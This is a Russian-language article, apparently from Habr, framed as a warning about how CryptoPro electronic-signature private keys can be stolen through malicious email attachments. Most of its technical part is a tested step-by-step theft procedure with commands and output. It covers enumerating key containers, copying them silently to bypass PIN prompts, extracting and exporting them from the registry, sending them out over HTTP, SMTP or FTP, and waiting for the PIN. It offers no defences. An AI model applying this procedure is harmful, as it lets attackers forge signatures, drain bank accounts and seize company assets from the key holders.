Pull to refresh

Слив электронной подписи: как потерять имущество, деньги и компанию

Level of difficultyEasy
Reading time5 min
Views9.2K

В эпоху цифровизации корпоративных процессов электронные подписи стали важнейшим инструментом для подтверждения легитимности документов. Однако на практике существует реальная угроза компрометации этих подписей, особенно через распространённые каналы, такие как рассылки с вложениями, через которые осуществляется более 90% успешных атак.

Ниже представлена демонстрация, показывающая, насколько легко можно реализовать захват закрытых ключей с пользовательского компьютера.

Что может произойти при компрометации электронной подписи? Возможные последствия:

  • Потеря средств на банковском счете. Злоумышленники могут провести незаконные переводы, подписав все платёжные документы вашей электронной подписью. Доказать факт кражи будет невозможно, поскольку все транзакции будут легитимно подписаны и признаны действительными.

  • Потеря имущества. С помощью украденной подписи можно создать фальшивый договор, например, по продаже имущества компании, что приведет к значительным финансовым потерям.

  • Срыв сделок. Если банк заблокирует счет на фоне подозрительных транзакций, вы не сможете выполнить оплату или получить деньги. Такие инциденты могут остановить деловые операции на неопределённый срок, сорвав сделки.

  • Порча репутации. Кражей подписи злоумышленники могут подписать фиктивные заявки на тендеры с невыгодными условиями. Это не только приведёт к отказу от сделки и попаданию в реестр недобросовестных поставщиков, но и приведёт к финансовым потерям.

  • Рейдерский захват компании. Используя подпись ключевого сотрудника, злоумышленники могут изменить устав, назначить нового руководителя или ослабить компанию другими способами, что создаст угрозу для её стабильности и контроля.

  • Потеря имущества сотрудника. Злоумышленники могут использовать электронную подпись для подписания фиктивных сделок с недвижимостью или другими активами. В случае признания сделки действительной, сотрудник может подать иск к работодателю, требуя компенсации ущерба, что приведет к ответственности компании за нарушение обязательств по обеспечению информационной безопасности.

В статье описан реальный, протестированный на лабораторном стенде механизм компрометации подписи, который может привести к серьёзным последствиям.

Описание угрозы

Общий обзор:

  1. Сотрудник организации получает письмо от поставщика. Вложение может быть любым — накладная, акт сверки, претензия. За маской файла может скрываться:

    • макрос в *.docm;

    • скрипт PowerShell, *.hta или *.vbs;

    • самораспаковывающийся архив;

    • или даже *.lnk, запускающий цепочку вызовов;

  2. При запуске вложения на рабочей машине запускается скрипт или исполняемый файл, который последовательно:

    • Получает список установленных контейнеров;

    • Копирует содержимое контейнеров в реестр;

    • Извлекает данные ключей из реестра;

  3. Данные отправляются на удалённый сервер, что позволяет собрать полный набор криптографической информации для дальнейшего использования.

Технические детали алгоритма

Рассмотрим реализацию алгоритма на примере операционной системы Windows, поскольку, несмотря на импортозамещение, именно эта платформа остается наиболее распространенной для работы с электронным документооборотом.

Выгрузка ключей осуществляется в несколько этапов. Каждый из них может включать различные механизмы и дополнительные меры для повышения отказоустойчивости, однако общий алгоритм примерно следующий:

Получение списка контейнеров через утилиту КриптоПро

csptest -keyset -enum_cont -verifycontext –fqcn
CSP (Type:80) v5.0.10008 KC1 Release Ver:5.0.12000 OS:Windows CPU:AMD64 FastCode:READY:AVX.
AcquireContext: OK. HCRYPTPROV: 995157792
\\.\FAT12_E\d58fe6c13-d917-2a53-8e9c-8c4b8158220
OK.
Total: SYS: 0,063 sec USR: 0,016 sec UTC: 0,086 sec
[ErrorCode: 0x00000000]

Вывод содержит пути к контейнерам — как локальным, так и внешним. Имена контейнеров можно легко выделить с помощью регулярных выражений.

Подстановка значений и копирование контейнеров в реестр

csptest -keycopy -contsrc "<исходный_контейнер>" -contdest "<конечный_контейнер >" –silent
CryptAcquireContext succeeded.HCRYPTPROV: 4014360096
CryptAcquireContext succeeded.HCRYPTPROV: 4014640432
Total: SYS: 0,094 sec USR: 0,094 sec UTC: 0,271 sec
[ErrorCode: 0x00000000]

Команда выполняется в «тихом» режиме, что позволяет избежать появления уведомлений, таких как запрос на вставку токена или ввод пароля, что важно для скрытности операции. Обратите внимание на код ошибки — его можно использовать для отслеживания результата выполнения и внесения изменений в алгоритм. Например:

  • код 0x8009000f — попытка скопировать запароленный контейнер без указания пароля;

  • 0x8010006e — пользователь отклонил запрос на ввод пароля;

  • 0x00000000 — операция успешна, можно переходить к следующему этапу.

Получение SID пользователя

whoami /user

SID необходим для определения пути в реестре, где хранятся ключи. Также легко выделяется с помощью регулярных выражений.

Извлечение ключей из реестра:

Ключи извлекаются с помощью команды REG QUERY, в путь к ветке реестра подставляются SID и имя извлекаемого контейнера.

REG QUERY "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>"
name.key         REG_BINARY    30261624643538...
header.key       REG_BINARY    308205B5308203...
primary.key      REG_BINARY    308205B5308205...
masks.key        REG_BINARY    30360420CA74D3...
primary2.key     REG_BINARY    302204201675D2...
masks2.key       REG_BINARY    303604208A0E18...

Вывод содержит ключи, которые нужно будет слегка преобразовать.

Либо можно экспортировать ветку реестра используя REG EXPORT, в этом случае данные будут экспортированы в готовом виде в отдельный REG-файл, который можно считать или отправить целиком.

REG EXPORT "HKLM\SOFTWARE\WOW6432Node\Crypto Pro\Settings\Users\<SID>\Keys\<контейнер>" "C:\Users\User\branch.reg"

Отправка данных на удалённый сервер

Дампы можно отправлять по сети (HTTP, SMTP, FTP). Такой трафик легко маскируется и не вызывает подозрений.

Теперь достаточно подставить полученные ключи в реестр и протестировать их доступность.

Альтернативный вектор: использование ЭП без копирования

Даже если контейнер невозможно скопировать (например, он помечен как неэкспортируемый), злоумышленник может использовать криптопровайдер для подписания документов локально и отправки их на удалённый сервер. Это особенно опасно, так как не требует взлома токена, но компрометирует его владельца.

PIN-код? Мы просто подождём

Опираясь на коды ошибок, можно определить, что контейнер запаролен, и перевести программу в режим ожидания, ожидая ввод пароля (например, 4–8 цифр).

Это не brute-force — это passive listening.

Какие языки используются

Реализовать алгоритм можно на любом языке, способном выполнять команды, работать с командной строкой и отправлять HTTP-запросы:

Чаще всего применяются:

  • C / C++

  • PowerShell

  • Python

  • VBS

Заключение

Представленный механизм — это не гипотеза, а проверенный на практике алгоритм, успешно протестированный на лабораторном стенде. Угроза утечки электронной подписи и её удалённого использования реальна, и её недооценка может привести к серьёзным последствиям.

Подпись можно не только скопировать, но и использовать без ведома владельца, обходя сложные эксплойты и обманывая системы безопасности без необходимости привлечения хакеров из даркнета.

Алгоритм, описанный в статье, прост для реализации и не требует глубоких технических знаний. С использованием современных инструментов, таких как ChatGPT, весь процесс можно автоматизировать — от парсинга данных до их конвертации.

Tags:
Hubs:
-3
Comments67

Articles